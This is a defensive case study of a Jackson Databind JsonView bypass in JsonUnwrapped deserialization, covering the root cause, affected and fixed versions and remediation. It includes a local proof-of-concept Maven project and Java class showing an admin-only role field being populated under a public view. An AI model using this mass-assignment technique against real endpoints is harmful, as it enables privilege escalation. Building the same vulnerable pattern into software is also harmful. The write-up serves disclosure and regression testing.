CVE case study

CVE-2026-59889: A Missing JsonView Gate in JsonUnwrapped Deserialization

Why Jackson’s unwrapped-property replay bypassed a write-side JsonView boundary, enabling authorization-sensitive fields to be populated.

This is a defensive case study of CVE-2026-59889, based on the coordinated public advisory. It explains the trust boundary, the failure mode, and the engineering fix without reproducing a weaponized exploit.

Severity
Medium · 6.5
Scoring
CVSS 3.1
Weakness
CWE-863
Affected
2.18.0–2.18.8, 2.21.0–2.21.4, 2.22.0; 3.0.0–3.1.4 and 3.2.0
Remediation state
Upgrade to 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1 as applicable
Advisory published
10 Jul 2026

Official vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Why it matters

Applications sometimes use @JsonView to define which properties a request is allowed to populate. @JsonUnwrapped flattens a nested object into its parent JSON shape. When those features were combined on a setter- or field-backed container property, one deserialization path failed to enforce the active view.

That makes the issue a write-side authorization bypass, not a general serialization data leak. An endpoint could accept fields belonging to a more privileged view even though it deserialized the request under a restricted view.

How I discovered it

I found this through variant analysis of an earlier Jackson fix. The creator-property method processUnwrappedCreatorProperties() had recently gained an active-view check. I compared it with the sibling regular-property method processUnwrapped() and saw that the latter still replayed buffered input directly through deserializeAndSet().

Static asymmetry was only the hypothesis. I built a field/setter-backed bean—not a creator parameter—so execution had to reach the unpatched sibling. The first runtime result showed that an @JsonView(AdminView) container combined with @JsonUnwrapped was populated while reading under PublicView.

I then corrected the scope of my own claim. Inner fields still pass through their nested deserializer and can enforce their individual views; the missing check applies to the unwrapped container property. A non-unwrapped container with the same annotation stayed null, giving a clean control. I extended the test to nested, merge/PATCH, and builder paths and confirmed that they converged on the same handler. A separate read-side sweep found no serialization leak, so the published finding remains specifically a write-side authorization bypass.

Trust boundary and root cause

Jackson buffers unmatched flattened input and later replays it through UnwrappedPropertyHandler.processUnwrapped(). The affected loop called deserializeAndSet() without first checking prop.visibleInView(activeView).

A creator-property path had already received the missing check in an earlier fix, but the regular field/setter path remained inconsistent. Nested unwrapped properties, partial updates, and builder-based deserializers converged on the same unchecked method.

Source-to-sink trace

  1. 01
    Patch clueprocessUnwrappedCreatorProperties()

    The creator path checks prop.visibleInView(activeView) before binding.

  2. 02
    Sibling gapUnwrappedPropertyHandler::processUnwrapped()

    The field/setter path loops over unwrapped properties and calls deserializeAndSet() without that check.

  3. 03
    Buffering pathBeanDeserializer::deserializeWithUnwrapped()

    Flattened fields are buffered because they do not directly match the container property, bypassing the normal direct-property view gate.

  4. 04
    Write sinkSettableBeanProperty::deserializeAndSet()

    The restricted container is instantiated and populated under the lower-privilege active view.

View-gate bypass during replayThe unsafe branch is the replay path for flattened input, not the normal directly matched property path.
  1. 01
    Restricted reader

    An application deserializes untrusted JSON with a less-privileged active @JsonView.

  2. 02
    Flattened input

    Input targets a privileged container represented through @JsonUnwrapped.

  3. 03
    Buffered replay

    The unwrapped handler replays the values through the regular property loop.

  4. 04
    Missing visibility check

    The container is populated without confirming that it is visible in the active view.

Safe proof of concept

Prerequisites

  • JDK 17 or later and a disposable Maven project.
  • A vulnerable Jackson Databind release such as 2.18.8, 2.21.4, 2.22.0, 3.1.4, or 3.2.0.

Step-by-step reproduction

  1. Create a Maven project with the vulnerable jackson-databind version and save the Java class below.
  2. The flags container is restricted to AdminView but flattened with @JsonUnwrapped. The server-side reader intentionally uses PublicView.
  3. Run the program. On a vulnerable release, the synthetic role value is bound and the container is non-null.
  4. Run the included OrdinaryAccount control with nested JSON targeting the same restricted container. It remains null; this proves the normal property path enforces the active view.
  5. Upgrade to the applicable fixed release and repeat the original unwrapped case. It should now match the control.

Minimal Maven project

<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>local.cyberkareem</groupId>
  <artifactId>jsonview-unwrapped-poc</artifactId>
  <version>1.0.0</version>
  <properties>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
  </properties>
  <dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.22.0</version>
    </dependency>
  </dependencies>
</project>

Minimal in-memory Java PoC

import com.fasterxml.jackson.annotation.JsonUnwrapped;
import com.fasterxml.jackson.annotation.JsonView;
import com.fasterxml.jackson.databind.ObjectMapper;

public class JsonViewUnwrappedPoc {
  static class PublicView {}
  static class AdminView extends PublicView {}

  static class Flags {
    @JsonView(PublicView.class)
    public String role;

    @JsonView(PublicView.class)
    public boolean approved;
  }

  static class Account {
    @JsonView(PublicView.class)
    public String email;

    @JsonView(AdminView.class)
    @JsonUnwrapped
    public Flags flags;
  }

  static class OrdinaryAccount {
    @JsonView(PublicView.class)
    public String email;

    @JsonView(AdminView.class)
    public Flags flags;
  }

  public static void main(String[] args) throws Exception {
    String json = "{\"email\":\"lab@example.test\",\"role\":\"ADMIN\",\"approved\":true}";
    Account result = new ObjectMapper()
        .readerWithView(PublicView.class)
        .forType(Account.class)
        .readValue(json);

    String nested = "{\"email\":\"lab@example.test\",\"flags\":{\"role\":\"ADMIN\",\"approved\":true}}";
    OrdinaryAccount control = new ObjectMapper()
        .readerWithView(PublicView.class)
        .forType(OrdinaryAccount.class)
        .readValue(nested);

    System.out.println("flags_present=" + (result.flags != null));
    System.out.println("role=" + (result.flags == null ? "<blocked>" : result.flags.role));
    System.out.println("control_flags_present=" + (control.flags != null));
  }
}

Run and compare

mkdir -p src/main/java
# Save the Java class as src/main/java/JsonViewUnwrappedPoc.java
mvn -q compile dependency:copy-dependencies
java -cp 'target/classes:target/dependency/*' JsonViewUnwrappedPoc

# Vulnerable line:
# flags_present=true
# role=ADMIN
# control_flags_present=false

# Then change the pom version to 2.22.1 and repeat.
# Fixed release or non-unwrapped control:
# flags_present=false
# role=<blocked>
# control_flags_present=false

Expected evidence

  • On the affected release, flags_present=true and role=ADMIN under PublicView.
  • The OrdinaryAccount control receives correctly nested input for the same flags property and remains null under PublicView.
  • Serialization with writerWithView(PublicView.class) does not disclose the restricted block; this is a write-side bug only.
Negative control

The separate OrdinaryAccount class keeps @JsonView(AdminView.class) on flags without unwrapping and receives a properly nested flags object. It prints control_flags_present=false, isolating the unwrapped replay path rather than relying on a mismatched JSON shape.

Fixed-version re-test

Upgrade to 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1 as applicable. The original unwrapped program must now print the same blocked result as the non-unwrapped control.

Impact in context

Where an application relies on @JsonView as a write authorization boundary, the result can be mass assignment, unauthorized state transitions, or privilege escalation. The advisory scores integrity impact high and reports no confidentiality or availability impact.

The risky configuration is specific: an active view, untrusted deserialization, a more-privileged unwrapped container, and application logic that trusts view filtering instead of an explicit write allow-list.

Remediation and verification

Upgrade the relevant Jackson line. The fix checks property visibility before setting an unwrapped value, matching the guarded creator-property path. Until an upgrade is possible, avoid @JsonUnwrapped on authorization-sensitive input containers and map external requests into explicit DTOs with server-side allow-lists.

Regression tests should cover normal deserialization, nested unwrapped objects, builders, and update-in-place readers under both allowed and disallowed views.

Engineering lesson

Security controls implemented by a framework must be consistent across every internal execution path. Variant analysis after a partial fix should compare creator, field, setter, builder, merge, and recursive handling—not stop at the first repaired branch.

Primary public references

Disclosure boundary: only already-public technical detail is included here. Unpublished validation material, private communications, secrets, and weaponized payloads remain excluded.